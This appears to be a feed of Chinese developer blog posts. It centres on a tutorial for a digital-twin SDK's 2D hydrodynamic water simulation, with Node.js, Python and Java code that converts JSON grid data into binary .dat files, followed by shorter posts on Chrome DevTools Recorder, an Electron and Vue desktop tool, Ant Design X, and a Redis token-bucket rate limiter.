准备好两份数据分别是shpFilePath填写的shp文件,以及shpDataFilePath填写的dat文件集。文件可以直接用本地路径读取,建议放置到Cloud文件资源路径下,用@path的方式引用


这里可以用孪创启航营给大家准备的数据进行测试,在提供的文件夹的【文件资源】@path\【孪创启航营】HydroDynamic2D


2、通过shp网格数据初始化水动力模型

通过add()初始化水动力模型,并使用focus()定位到网格位置,但没有具体内容,还需要调用update添加.dat数据驱动效果。


add()参数文章末尾有详解


//添加shp数据源
fdapi.hydrodynamic2d.clear()

let hydrodynamic2d_add = {
id: 'hdm_shp', // HydroDynamic2D对象ID
collision: false, //开启碰撞sd
displayMode: 0, // 显示样式,取值范围:[0,1],0水体样式(默认值),1热力样式
waterMode: 0, // 水面显示模式,枚举类型 0 水动画模式 ,1水仿真模式,2 水流向模式
arrowColor: [1, 1, 1, 0], // 箭头颜色和透明度
speedFactor: 0.1, // 速度因子
rippleDensity: 1, // 水波纹辐射强度
rippleTiling: 3, // 水波纹辐射平铺系数
shpFilePath: '@path:【孪创启航营】HydroDynamic2D/shp/grid.shp' // 添加二维水动力模型整体范围的shp文件路径
}
await fdapi.hydrodynamic2d.add(hydrodynamic2d_add)

await fdapi.hydrodynamic2d.focus('hdm_shp', 200)

3、根据.dat更新水动力模型

写一个定时器,根据不同时刻,调用hydrodynamic2d.update()更新shpDataFilePath路径,达到水动力更新的效果。



  • 参数updateTime 是更新动画的插值时间,单位为秒,一般与更新定时器的时间一致即可。


let index = 0
let hydrodynamicModel_for_update = {
id: 'hdm_shp', // HydroDynamic2D对象ID
updateTime: 1, // 更新动画的插值时间
shpDataFilePath: ''// 更新二维水动力模型时包含水面网格的dat类型文件路径
}

// 使用dat数据填充shp网格
let updateTimer = setInterval(async () => {
hydrodynamicModel_for_update.shpDataFilePath = '@path:【孪创启航营】HydroDynamic2D/dat/hydrodynamic_' + index + '.dat'

if (index > 9) {
clearInterval(updateTimer)
} else {
await __g.hydrodynamic2d.update(hydrodynamicModel_for_update) // 水动力更新
index = index + 1
}
}, 1000)

通过以上就可以达成二维水动力的创建以及更新了。


4、实现二维水动力热力效果

二维水动力支持热力效果,可以根据.dat文件中的水深字段进行配色


二维水动力热力效果.gif

仅需要把add()中的displayMode参数设置为1热力样式,再通过valueRangecolors进行热力样式的调整



  • valueRange (array) ,二维水动力模型颜色插值对应的数值区间

  • colors (object) 二维水动力模型自定义调色板对象,包含颜色渐变控制、无效像素颜色和调色板区间数组



    • gradient (boolean) 是否渐变

    • invalidColor (Color) 无效像素点的默认颜色,默认白色

    • colorStops (array) 调色板对象数组,每一个对象包含热力值和对应颜色值,结构示例:[{"value":0, "color":[0,0,1,1]}],每一个调色板对象支持以下属性:

      • color (Color) 值对应的调色板颜色

      • value (number) 值




    const addHeat = async () => {
    fdapi.hydrodynamic2d.clear()

    let hydrodynamic2d_add = {
    id: 'hdm_shp_heat', // HydroDynamic2D对象ID
    offset: [0, 0, 0], // 二维水动力模型的整体偏移,默认值:[0, 0, 0]
    displayMode: 1, // 显示样式,取值范围:[0,1],0水体样式(默认值),1热力样式
    waterMode: 2, // 水面显示模式,枚举类型 0 水动画模式 ,1水仿真模式,2 水流向模式
    arrowColor: [1, 1, 1, 0.5], // 箭头颜色和透明度
    collision: false, //开启碰撞sd
    arrowTiling: 3, // 箭头平铺系数
    speedFactor: 0.1, // 速度因子
    rippleDensity: 1, // 水波纹辐射强度
    rippleTiling: 2, // 水波纹辐射平铺系数
    shpFilePath: '@path:【孪创启航营】HydroDynamic2D/shp/grid_heat.shp',

    valueRange: [1, 1.3], // 二维水动力模型颜色插值对应的数值区间
    alphaMode: 1, //使用colors色带透明度
    colors: {
    gradient: true,
    invalidColor: [0, 0, 0, 1],
    colorStops: [
    {
    value: 0,
    color: [0, 0, 1, 0.2]
    },
    {
    value: 0.25,
    color: [0, 1, 1, 0.2]
    },
    {
    value: 0.5,
    color: [0, 1, 0, 0.2]
    },
    {
    value: 0.75,
    color: [1, 1, 0, 0.2]
    },
    {
    value: 1,
    color: [1, 0, 0, 0.2]
    }
    ]
    }
    }
    await fdapi.hydrodynamic2d.add(hydrodynamic2d_add)

    await fdapi.hydrodynamic2d.focus('hdm_shp_heat', 200)

    let index = 0
    let hydrodynamicModel_for_update = {
    id: 'hdm_shp_heat',
    updateTime: 1,
    shpDataFilePath: ''
    }

    //使用dat数据填充shp网格
    let updateTimer = setInterval(async () => {
    hydrodynamicModel_for_update.shpDataFilePath = '@path:【孪创启航营】HydroDynamic2D/dat/hydrodynamic_' + index + '.dat'

    if (index > 9) {
    clearInterval(updateTimer)
    } else {
    await __g.hydrodynamic2d.update(hydrodynamicModel_for_update)
    index = index + 1
    }
    }, 1000)
    }



demo运行


缺乏数据源的小伙伴可以尝试运行我们准备好的demo示例,感受一下水动力的效果与参数调用。



  1. **下载资源:**下载百度网盘数据资源

  2. 替换资源:把【文件资源】@path的文件放到cloud文件资源路径下

  3. **启动cloud:**cloud启动demo工程

  4. 替换sdk:【示例代码】code\lib\aircity中的ac.min.jsac.min.js,替换为cloud右上角"sdk"路径的对应文件

  5. **运行:**双击运行示例代码】code\二维水动力.html 代码里的 shpFilePathshpDataFilePath路径得和第2步中一致


二维水动力效果1.gif

.dat 数据转换?


在数据源中,网格对应的水深、流速、流向数据,大家获取到可能不是标准的dat数据,有可能是json、csv甚至是excel数据。所以这里教大家如何把常见的数据转为dat二进制文件!


大象进冰箱需要三步,咱们转数据也需要三步



  1. 解析数据:读取文件,把不同数据源中的id,h,u,v(网格id、水深、流速流向u、流速流向v)提取出来。

  2. 转为二进制数据:把id,h,u,v转化为二进制的格式。

  3. 文件创建并写入:把二进制的格式数据保存为.dat文件


其中解析数据每份数据可能各不相同,都需要单独编写。这里我以一个json数据格式为例子,教大家如何转换为.dat,例如我们有一个data.json文件数据示例如下:


[
{
"index": 0,
"time": "08:30:00",
"data": [
{
"id": 0,
"h": 2,
"u": 0,
"v": 0
},
{
"id": 1,
"h": 2,
"u": 0,
"v": 0
}
]
},
{
"index": 1,
"time": "09:00:00",
"data": [
{
"id": 0,
"h": 2,
"u": 0,
"v": 0
},
{
"id": 1,
"h": 2.001,
"u": 0.1,
"v": 0.1
}
]
}
]


我们可以使用不同的编程手段来处理,如node.js、python、java,这里直接把转换的代码贴给大家~


注意:这三种编程手段都需要单独的安装对应的环境,如果没有环境可以选择一种自行百度安装



node官网:Node.js — 在任何地方运行 JavaScript


python官网:python.org


java官网:Java | Oracle



node.js


  1. 解析数据:使用require('./data.json')同步地引入并解析JSON数据文件,将其内容存储在jsonData变量中。

  2. 转为二进制数据:pamarToBuffer函数将idhuv转换为小端字节序的二进制Buffer。

  3. 文件创建并写入:遍历JSON数据,对每个时间点,使用path.join构建.dat文件路径,fs.createWriteStream创建写入流,datStream.write写入二进制Buffer,最后datStream.end关闭写入流。


// 引入必要的模块
const fs = require('fs') // 用于文件的读写操作
const path = require('path') // 用于处理文件路径
const jsonData = require('./data.json') // 引入 JSON 数据文件

// 确保 ./dat 目录存在
const datDir = path.join(__dirname, 'dat')
if (!fs.existsSync(datDir)) {
fs.mkdirSync(datDir)
}

// 遍历 JSON 数据 time_i 是当前时间点的索引
for (let time_i = 0; time_i < jsonData.length; time_i++) {
// 创建 .dat 文件路径
const datFilePath = path.join(datDir, `hydrodynamic_${time_i}.dat`)
// 创建写入流
const datStream = fs.createWriteStream(datFilePath)

// 获取并遍历时间点的数据
const timeData = jsonData[time_i].data
for (let grid_i = 0; grid_i < timeData.length; grid_i++) {
// 数据转换和写入
const { id, h, u, v } = timeData[grid_i]
const buffer = pamarToBuffer(id, h, u, v)
datStream.write(buffer)
}

datStream.end()
}

function pamarToBuffer(id, h, u, v) {
// 创建一个 Buffer 来存储二进制数据
const buffer = Buffer.alloc(4 + 8 + 8 + 8) // 分配足够的空间:4 字节用于 id,3 个 8 字节用于 double 值
// 向 Buffer 中写入数据
buffer.writeInt32LE(id, 0) // 从索引 0 开始写入 id(32 位整数)
buffer.writeDoubleLE(h, 4) // 从索引 4 开始写入 h(64 位浮点数)
buffer.writeDoubleLE(u, 12) // 从索引 12 开始写入 u(64 位浮点数)
buffer.writeDoubleLE(v, 20) // 从索引 20 开始写入 v(64 位浮点数)

return buffer
}


python


  1. 解析数据:使用json.load(f)方法从打开的JSON文件对象f中读取并解析数据,将JSON格式的数据转换为Python的字典或列表结构,存储在变量json_data中。

  2. 转为二进制数据:使用struct.pack('=iddd', id, h, u, v)方法将这些数据按照指定的格式(=表示本地字节顺序,i表示整数,d表示双精度浮点数)打包成二进制数据。

  3. 文件创建并写入:使用open函数以二进制写入模式打开(或创建)文件,最后通过write方法将转换好的二进制数据写入到该文件中。


import json
import os
import struct

# 读取JSON文件
json_file_path = './data.json'
with open(json_file_path, 'r') as f:
json_data = json.load(f)

# 定义输出目录
output_dir = os.path.join(os.getcwd(), 'dat')
if not os.path.exists(output_dir):
os.makedirs(output_dir)

# 遍历JSON数据
for time_i, time_node in enumerate(json_data):
# 创建.dat文件路径
dat_file_path = os.path.join(output_dir, f"hydrodynamic_{time_i}.dat")

# 打开文件以二进制写入模式
with open(dat_file_path, 'wb') as dat_file:
# 获取并遍历时间点的数据
time_data = time_node['data']
for grid_i, data_element in enumerate(time_data):

# 数据转换和写入
id = int(data_element['id'])
h = float(data_element['h'])
u = float(data_element['u'])
v = float(data_element['v'])

# 使用struct模块将数据转换为二进制格式
binary_data = struct.pack('=iddd', id, h, u, v)
# 写入二进制数据到文件
dat_file.write(binary_data)

print("Data processing complete.")

Java

java需要安装对应的 jackson json解析依赖才能使用,这里给大家提供了一个最简洁的版本,只需要有了对应的java环境运行目录下的start.bat文件即可生成dat文件。



  1. 解析数据:使用ObjectMapperdata.json文件中读取JSON数据,并解析为TimePoint对象的列表。

  2. 转为二进制数据:convertToBytes方法将TimePointData对象的idhuv字段转换为小端字节序的字节数组。

  3. 文件创建并写入:遍历TimePoint列表,为每个时间点创建.dat文件,并使用FileOutputStream将转换后的字节数组写入文件。


import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.ArrayList;
import java.util.List;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;

class TimePointData {
int id;
double h;
double u;
double v;

public TimePointData(int id, double h, double u, double v) {
this.id = id;
this.h = h;
this.u = u;
this.v = v;
}

}

class TimePoint {
List<TimePointData> data;

public TimePoint(List<TimePointData> data) {
this.data = data;
}

}

public class JsonToDatConverter {

public static void main(String[] args) {
String jsonFilePath = "data.json";
String datDir = "dat";

// 读取JSON文件
ObjectMapper objectMapper = new ObjectMapper();
try {
JsonNode rootNode = objectMapper.readTree(Files.newInputStream(Paths.get(jsonFilePath), StandardOpenOption.READ));
List<TimePoint> timePoints = parseJsonToTimePoints(rootNode);

Path dirPath = Paths.get(datDir);
if (!Files.exists(dirPath)) {
Files.createDirectory(dirPath);
}

for (int time_i = 0; time_i < timePoints.size(); time_i++) {
TimePoint timePoint = timePoints.get(time_i);
String datFilePath = Paths.get(datDir, "hydrodynamic_" + time_i + ".dat").toString();

try (FileOutputStream fos = new FileOutputStream(datFilePath)) {
for (TimePointData data : timePoint.data) {
byte[] bytes = convertToBytes(data.id, data.h, data.u, data.v);
fos.write(bytes);
}
} catch (IOException e) {
e.printStackTrace();
}
}
} catch (IOException e) {
e.printStackTrace();
}
}

private static List<TimePoint> parseJsonToTimePoints(JsonNode rootNode) {
if (rootNode == null || !rootNode.isArray()) {
throw new IllegalArgumentException("Invalid JSON structure: 'timePoints' field is missing or not an array");
}

List<TimePoint> timePoints = new ArrayList<>();
for (JsonNode timePointNode : rootNode) {
JsonNode dataNode = timePointNode.get("data");
if (dataNode == null || !dataNode.isArray()) {
throw new IllegalArgumentException(
"Invalid JSON structure: 'data' field is missing or not an array within a 'timePoints' object");
}

List<TimePointData> dataList = new ArrayList<>();
for (JsonNode dataItemNode : dataNode) {
int id = dataItemNode.get("id").asInt();
double h = dataItemNode.get("h").asDouble();
double u = dataItemNode.get("u").asDouble();
double v = dataItemNode.get("v").asDouble();
dataList.add(new TimePointData(id, h, u, v));
}

timePoints.add(new TimePoint(dataList));
}

return timePoints;
}

private static byte[] convertToBytes(int id, double h, double u, double v) {
ByteBuffer buffer = ByteBuffer.allocate(4 + 8 + 8 + 8).order(ByteOrder.LITTLE_ENDIAN);
buffer.putInt(id);
buffer.putDouble(h);
buffer.putDouble(u);
buffer.putDouble(v);
return buffer.array();
}
}

二维水动力添加参数详解


通用参数

通用参数比较简单理解,这里就简单列举出来



  • id (string) HydroDynamic2D对象ID

  • groupId (string) 可选,Gr0up分组

  • userData (string) 可选,用户自定义数据

  • offset (array) 二维水动力模型的整体偏移,默认值:[0, 0, 0]

  • collision (boolean) 是否开启碰撞,注意:开启后会影响加载效率


数据参数

数据参数前面介绍所需数据源已有详细介绍



  • shpFilePath(string)添加二维水动力模型整体范围的shp文件路径,取值示例:"C:/shpFile/xxx.shp"。

    • 此shp文件包含水动力模型所有网格的范围

    • shp类型为Polygon

    • 坐标系必须与工程坐标系保持一致

    • 必须包含 ID和Elev 两个字段:ID是网格ID;Elev是网格的高程值,单位是米



  • shpDataFilePath (string)可选参数,仅在update()方法执行生效。更新二维水动力模型时包含水面网格的dat类型文件路径,取值示例:"C:/datFile/xxx.dat"。

    • 注意:dat文件是一种二进制文件,它提取了某一时刻包含的所有水面网格的信息,并把这些信息依次写入了二进制文件dat,一个水面网格信息包含如下一组四个值:id,h,u,v。id对应shp属性表ID字段(int类型),h是网格对应的水深(double类型,单位是米),uv是流速和流向(double类型,单位米/秒,u朝东,v朝北)。




显示样式参数


  • displayMode (number) 显示样式,取值范围:[0,1],0水体样式(默认值),1热力样式



    • displayMode为0时,样式就只需要控制waterModewaterColor设置水体样式



      • waterMode (number) 水面显示模型,枚举类型 0 水动画模式 ,1水仿真模式,2 水流向模式

      • waterColor (Color) 水体颜色和透明度,注意:仅在displayMode=0时生效



    • displayMode为1时,样式就需要通过valueRangecolors控制热力样式



      • valueRange (array) ,二维水动力模型颜色插值对应的数值区间

      • colors (object) 二维水动力模型自定义调色板对象,包含颜色渐变控制、无效像素颜色和调色板区间数组



        • gradient (boolean) 是否渐变

        • invalidColor (Color) 无效像素点的默认颜色,默认白色

        • colorStops (array) 调色板对象数组,每一个对象包含热力值和对应颜色值,结构示例:[{"value":0, "color":[0,0,1,1]}],每一个调色板对象支持以下属性:

          • color (Color) 值对应的调色板颜色

          • value (number) 值





      • colors代码示例


        // colors示例
        {
        gradient: true,// 是否渐变
        invalidColor: [0, 0, 0, 1],// 无效像素点的默认颜色
        colorStops: [
        {
        value: 0,
        color: [0, 0, 1, 1]
        },
        {
        value: 0.25,
        color: [0, 1, 1, 1]
        },
        {
        value: 0.5,
        color: [0, 1, 0, 1]
        },
        {
        value: 0.75,
        color: [1, 1, 0, 1]
        },
        {
        value: 1,
        color: [1, 0, 0, 0]
        }
        ]
        }






  • alphaComposite (boolean) 是否使用混合透明度 取值:true / false 默认:true

  • alphaMode (number) 透明模式,取值:[0,1],0 : 使用colors调色板的不透明度值 1 : 使用系统默认值


箭头相关参数

箭头方向根据每个格网的uv流向决定



  • arrowDisplayMode (number) 箭头显示模式 取值范围:[0,1],0默认样式(受arrowColor参数影响),1热力样式(受arrowColors调色板参数影响)



    • arrowDisplayMode 为0,则设置arrowAlphaMode = 0,并通过arrowColor调整箭头的颜色和透明度

      • arrowColor (Color) 箭头颜色和透明度



    • arrowDisplayMode 为1,则设置arrowAlphaMode = 1,并通过arrowColors调整箭头的颜色和透明度

      • arrowColors (object)箭头颜色调色板 仅在arrowDisplayMode=1时生效,河道箭头热力样式下的调色板配色对象,包含颜色渐变控制、无效像素颜色和调色板区间数组

        • 格式同上方的显示样式参数colors







  • arrowAlphaMode (number) 箭头透明度模式,仅在arrowDisplayMode=0时生效,取值:[0,1],0使用arrowColor的透明度,1使用调色板的透明度

  • arrowTiling (number) 箭头平铺系数 值越小则箭头越小越密集,反之则更大更疏松


箭头.png
水面效果参数


  • foamWidth (number) 泡沫宽度取值范围:[0~10000],默认值:1米

  • foamIntensity (number) 泡沫强度 取值范围:[0~1],默认值:0.5

  • speedFactor (number) 速度因子


速度因子.gif

  • flowThreshold (array) 水浪效果漫延的范围 即把水动力模型[minSpeed,maxSpeed],最小最大流速的范围映射到[0~~1],取值示例:[0.1,0.4],取值范围[0-1]


水浪效果漫延的范围.png

  • rippleDensity (number)水波纹辐射强度


水波纹辐射强度.gif

  • rippleTiling (number) 水波纹辐射平铺系数


水波纹辐射平铺系数.gif


以上就是本篇文章的所有内容,相信大家看完这篇文章后可以轻松的通过DTS实现二维水动力效果。


在DTS中还有各式各样的水分析相关接口,如FloodFill 水淹分析、Fluid 流体仿真对象、HydroDynamic1D 一维水动力、WaterFlowField 水流场,大家可以根据自身需求选择,这里给大家推荐一篇《开闸放水》的教程,后续也会陆续推出更多教程~


不再需要UE美术,前端轻松解决水利开闸放水难题!!!


作者:女前端浅入数字孪生
来源:juejin.cn/post/7452181029994971147
收起阅读 »

神了,Chrome 这个记录器简直是开发测试提效神器🚀🚀🚀

web
在开发工作中,你是否遇到过这样的场景: 当你需要开发某个功能时,这个功能依赖一系列的点击或者选择操作,才能获取到最终的数据。而在开发和调试的过程中,你往往需要多次验证流程的正确性。早期的时候,这种验证通常非常繁琐——你可能需要反复提交表单、重新执行操作流程,才...
继续阅读 »

在开发工作中,你是否遇到过这样的场景:


当你需要开发某个功能时,这个功能依赖一系列的点击或者选择操作,才能获取到最终的数据。而在开发和调试的过程中,你往往需要多次验证流程的正确性。早期的时候,这种验证通常非常繁琐——你可能需要反复提交表单、重新执行操作流程,才能完成一次完整的自测。


如今,这一切变得更加高效了。


现在,我们可以使用记录器(Recorder)来优化这一开发流程。这个工具允许你将整个操作过程录制下来,保存为一个可复现的操作记录。每次需要重新验证或提交流程时,只需一键执行这条记录,便能完成所有的重复性操作。


更棒的是,这个功能还支持二次编辑。如果你需要在某个步骤后面新增额外的操作,或者减少不必要的步骤,都可以轻松修改操作记录,而无需重新录制整个流程。



文章同步在公众号:萌萌哒草头将军,欢迎关注哦~



🚀 功能亮点与用途


1. 高效的开发与调试


对于开发者来说,这个功能不仅可以节省大量时间,还能确保操作流程的准确性,避免因手动操作而导致的遗漏或错误。


2. 性能监控的得力助手


谷歌推出这个功能的主要目的是为了帮助开发者更方便地监听用户在某些操作流程中的性能体验。例如,在查看录制的操作流程时,你可以直接点击某个步骤,跳转到性能面板(Performance Panel),并且工具会自动锁定当前帧的数据。这种体验优化相比以往手动查找性能问题,提升了不少效率。


3. 测试自动化的天然工具


如果你是一名测试人员,这个功能同样非常实用。操作流程录制完成后,你可以直接将其导出为Puppeteer脚本,方便地将其集成到你的自动化测试中,进一步提升测试的覆盖率和效率。


🚀 使用方法


我们以表单提交为例子展示


image.png


以下是如何使用记录器功能的步骤:


1. 💎 打开记录器


image.png


并点击创建新录制按钮


image.png


2. 💎 开始录制流程


可以重命名下,方便后续复用,然后点击最下方的开始录制按钮


image.png


我们在填写完表单,并且点击 sumbit按钮,然后点击控制台的结束录制按钮,可以看到我们的每个步骤都被记录下来


image.png


3. 💎 执行录制



  1. 记录器 面板中,点击 播放 按钮,浏览器会自动按照录制的流程重新执行操作。

  2. 你可以在执行过程中观察页面行为,确认流程是否正确。

  3. 如果遇到下面的情况,说明是超时了,需要设置下超时时间


image.png


点击这个地方展开就可以重新设置超时限制参数了


image.png


然后你点击播放按钮就一切正常了


nalmal.gif


4. 💎 查看和编辑录制


你可以在 记录器 面板中,看到录制的每个步骤,包含操作类型(如点击、输入、导航等)和目标元素。


你也可以点击每个步骤进行详细查看,也可以通过右键菜单进行编辑,例如增加新步骤、删除步骤或修改操作。


🚀 应用场景


1. 💎 表单提交及验证


录制复杂的表单提交流程,方便反复验证数据的提交逻辑是否正确。这个场景如上,相信你也感受它的便利性了。


2. 💎 性能优化


在模拟用户真实操作的同时,快速捕捉性能瓶颈,定位问题并优化。


点击性能面板按钮,等待自动回填数据,然后跳到性能面板,为了压缩我把很多帧去掉了


preform.gif


最终你可以在如下的性能面板开始分析了


353.png


3. 💎 自动化测试开发


如果需要将录制的流程用于自动化测试,可以点击 导出 按钮,将其导出为 Puppeteer 脚本或者 json数据,这样可以减少编写测试脚本的时间,通过导出的 Puppeteer 脚本直接复用操作流程。我不是测试人员就不多赘述了。


🚀 小结


“记录器”功能的出现,不仅让开发和调试更加高效,还为性能监控和测试自动化提供了重要支持。它减少了重复操作的浪费,让开发者和测试人员都能将更多精力集中在核心工作上。


是不是觉得这个功能非常有趣又实用?赶紧试试看吧!


如果有用记得关注我的公众号:萌萌哒草头将军


作者:萌萌哒草头将军
来源:juejin.cn/post/7447456628284244005
收起阅读 »

程序员就得会偷懒,重写了一个electron小工具,解放美女运营老师!

web
前言 接前一篇美女运营天天找我改配置,给她写了个脚本,终于安静了 之前只是写了一个脚本,本地运行,通过读取文件流获取文件数据,格式化对应数据,运营老师也不会安装node,还是需要我去操作。现在我用electron生成一个桌面应用直接生成后复制json,去配置,...
继续阅读 »

前言


接前一篇美女运营天天找我改配置,给她写了个脚本,终于安静了


之前只是写了一个脚本,本地运行,通过读取文件流获取文件数据,格式化对应数据,运营老师也不会安装node,还是需要我去操作。现在我用electron生成一个桌面应用直接生成后复制json,去配置,全程不需要我参与了。


之前的脚本


const fs = require('fs')
const csv = require('csv-parser');

const csvfilePath = './xxx.csv';
const uidsfilePath = './uids.json';

const results = [];
let newarr = [];
let lineCount = 0;

fs.createReadStream(csvfilePath)
.pipe(csv({ headers: true }))
.on('data', (data) => {
results.push(data);
lineCount++;
})
.on('end',async () => {
console.log(results[0])
await format(results);
fs.writeFile(uidsfilePath, JSON.stringify(newarr), () => {
console.log('done')
})
});
const format = (results) => {
newarr = results.map(item => {
if(item._0 === 'key' || item._1 === 'value') {
return {}
}
return {
label: `${item._1}-${item._0}`,
value: item._1
}
})
}

electron


简介


Electron 是一个用于使用 JavaScript、HTML 和 CSS 构建跨平台桌面应用程序的框架。它由 GitHub 开发,基于 Chromium 和 Node.js。这意味着开发者可以利用他们熟悉的 Web 开发技术来创建桌面应用。


优势



  • 跨平台开发

  • 快速开发迭代

  • 丰富的生态系统


架构与核心概念



  • 主进程和渲染进程:


主进程:主进程是整个 Electron 应用的核心,它负责创建和管理应用程序的窗口。主进程通过BrowserWindow模块来创建浏览器窗口,这个窗口就是用户看到的应用界面的载体。


渲染进程:渲染进程主要负责渲染应用的用户界面。每个BrowserWindow都有自己独立的渲染进程,它使用 Chromium 浏览器内核来解析 HTML 和 CSS 文件,执行 JavaScript 代码。



  • 进程间通信(IPC):
    由于 Electron 应用有主进程和渲染进程之分,进程间通信就显得尤为重要。Electron 提供了ipcMain(用于主进程)和ipcRenderer(用于渲染进程)模块来实现进程间的消息传递。


使用vue3和vite创建vue的项目然后引入electron


安装vite


npm create vite@latest electron-desktop-tool

安装 引入electron&插件


npm install -D electron // electron
npm install -D electron-builder //用于打包可安装exe程序和绿色版免安装exe程序
npm install -D electron-devtools-installer // 调试
npm install -D vite-plugin-electron // vite构建插件

创建主进程


在vue 同级src目录下,创建src-electron 文件夹 新建main.js


// src-electron/main.js
const { app, BrowserWindow } = require('electron')
const { join } = require('path')

// 屏蔽安全警告
// ectron Security Warning (Insecure Content-Security-Policy)
process.env['ELECTRON_DISABLE_SECURITY_WARNINGS'] = 'true'

// 创建浏览器窗口时,调用这个函数。
const createWindow = () => {
const win = new BrowserWindow({
width: 800,
height: 600,
title: 'electron-vite',
// icon: join(__dirname, '../public/logo.ico'),
})

// win.loadURL('http://localhost:3000')
// development模式
if(process.env.VITE_DEV_SERVER_URL) {
win.loadURL(process.env.VITE_DEV_SERVER_URL)
// 开启调试台
win.webContents.openDevTools()
}else {
win.loadFile(join(__dirname, '../dist/index.html'))
}
}

// Electron 会在初始化后并准备
app.whenReady().then(() => {
createWindow()
app.on('activate', () => {
if (BrowserWindow.getAllWindows().length === 0) createWindow()
})
})

app.on('window-all-closed', () => {
if (process.platform !== 'darwin') app.quit()
})

配置插件入口


在vite.config.ts中配置vite-plugin-electron 插件入口


import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
import electron from 'vite-plugin-electron'

// https://vitejs.dev/config/
export default defineConfig({
plugins: [
vue(),
electron({
// 主进程入口文件
entry: './src-electron/main.js'
})
],
/*开发服务器选项*/
server: {
// 端口
port: 3000,
}
})

配置package.json


在package.json 新增入口文件 "main": "./src-electron/main.js",


原神启动 emmm electron启动


运行 npm run dev 启动项目


请在此添加图片描述


打包配置


首先配置一下打包的命令,在package.json "scripts"里面配置这个打包命令


  "scripts": {
"dev": "vite",
"build": "vite build",
"preview": "vite preview",
"postinstall": "patch-package",
"electron:build": "vite build && electron-builder",
"pack32": "vite build && electron-builder --win --ia32",
"pack64": "vite build && electron-builder --win --x64"
},

同样package.json 需要添加打包配置


  "scripts": {
...
},
"build": {
"productName": "ElectronDeskTopTool",
"appId": "dyy.dongyuanwai",
"copyright": "dyy.dongyuanwai © 2024",
"compression": "maximum",
"asar": true,
"directories": {
"output": "release/"
},
"nsis": {
"oneClick": false,
"allowToChangeInstallationDirectory": true,
"perMachine": true,
"deleteAppDataOnUninstall": true,
"createDesktopShortcut": true,
"createStartMenuShortcut": true,
"shortcutName": "ElectronDeskTopTool"
},
"win": {
"icon": "./public/logo.ico",
"artifactName": "${productName}-v${version}-${platform}-setup.${ext}",
"target": [
{
"target": "nsis"
}
]
},
"mac": {
"icon": "./public/logo.ico",
"artifactName": "${productName}-v${version}-${platform}-setup.${ext}"
},
"linux": {
"icon": "./public/logo.ico",
"artifactName": "${productName}-v${version}-${platform}-setup.${ext}"
}
},

然后npm run electron:build


请在此添加图片描述


页面效果


请在此添加图片描述


github地址


后续还会继续更新~


作者:一起重学前端
来源:juejin.cn/post/7445289957893259327
收起阅读 »

antd 对 ai 下手了!Vue 开发者表示羡慕!

web
前端开发者应该对 Ant Design 不陌生,特别是 React 开发者,antd 应该是组件库的标配了。 近年来随着 AI 的爆火,凡是想要接入 AI 的都想搞一套自己的 AI 交互界面。专注于 AI 场景组件库的开源项目倒不是很多见,近日 antd 宣布...
继续阅读 »


前端开发者应该对 Ant Design 不陌生,特别是 React 开发者,antd 应该是组件库的标配了。


近年来随着 AI 的爆火,凡是想要接入 AI 的都想搞一套自己的 AI 交互界面。专注于 AI 场景组件库的开源项目倒不是很多见,近日 antd 宣布推出 Ant Design X 1.0 🚀 ,这是一个基于 Ant Design 的全新 AGI 组件库,使用 React 构建 AI 驱动的用户交互变得更简单了,它可以无缝集成 AI 聊天组件和 API 服务,简化 AI 界面的开发流程。


该项目已在 Github 开源,拥有 1.6K Star!



看了网友的评论,看来大家还是需要的!当前的 Ant Design X 只支持 React 项目,看来 Vue 开发者要羡慕了...



ant-design-x 特性



  • 🌈 源自企业级 AI 产品的最佳实践:基于 RICH 交互范式,提供卓越的 AI 交互体验

  • 🧩 灵活多样的原子组件:覆盖绝大部分 AI 对话场景,助力快速构建个性化 AI 交互页面

  • ⚡ 开箱即用的模型对接能力:轻松对接符合 OpenAI 标准的模型推理服务

  • 🔄 高效管理对话数据流:提供好用的数据流管理功能,让开发更高效

  • 📦 丰富的样板间支持:提供多种模板,快速启动 LUI 应用开发

  • 🛡 TypeScript 全覆盖:采用 TypeScript 开发,提供完整类型支持,提升开发体验与可靠性

  • 🎨 深度主题定制能力:支持细粒度的样式调整,满足各种场景的个性化需求


支持组件


以下圈中的部分为 ant-design-x 支持的组件。可以看到主要都是基于 AI Chat 场景的组件设计。现在你可以基于这些组件自由组装搭建一个自己的 AI 界面。



ant-design-x 也提供了一个完整 AI Chat 的 Demo 演示,可以查看 Demo 的代码并直接使用。



更多组件详细内容可参考 组件文档


使用


以下命令安装 @ant-design/x 依赖。


注意,ant-design-x 是基于 Ant Design,因此还需要安装依赖 antd


yarn add antd @ant-design/x

import React from 'react';
import {
// 消息气泡
Bubble,
// 发送框
Sender,
} from '@ant-design/x';

const messages = [
{
content: 'Hello, Ant Design X!',
role: 'user',
},
];
const App = () => (
<div>
<Bubble.List items={messages} />
<Sender />
</div>

);

export default App;

Ant Design X 前生 ProChat


不知道有没有小伙伴们使用过 ProChat,这个库后面的维护可能会有些不确定性,其维护者表示 “24 年下半年后就没有更多精力来维护这个项目了,Github 上的 Issue 存留了很多,这边只能尽量把一些恶性 Bug 修复



如上所示,也回答了其和 Ant Design X 的关系:ProChat 是 x 的前生,新用户请直接使用 x,老用户也请尽快迁移到 x


感兴趣的朋友们可以去试试哦!


作者:五月君
来源:juejin.cn/post/7444878635717443595
收起阅读 »

前端ssr项目被打崩后,连夜做限流!

web
token-bucket-limiter-redis 是一个令牌桶算法 + redis 的高效限流器,用于Node服务接口限流。 当然作为一个前端你可能很少接触Node接口开发,用的接口应该都是后端同学提供的,他们有自己的限流策略,但是你一定使用过SSR框架来...
继续阅读 »

token-bucket-limiter-redis 是一个令牌桶算法 + redis 的高效限流器,用于Node服务接口限流。


当然作为一个前端你可能很少接触Node接口开发,用的接口应该都是后端同学提供的,他们有自己的限流策略,但是你一定使用过SSR框架来开发服务端渲染项目,那么此时你的项目就只能靠我们自己来做限流了,否则遇到突发流量时,你的项目可能很容易崩溃。



  • 使用令牌桶算法实现

  • 支持基于内存和基于 redis 存储的两种选择,满足分布式限流需要

  • 高性能,令牌生产的方式为每次请求进来时一次性生产上一次请求到本次请求这一段时间内的令牌,而不是定时器生成令牌

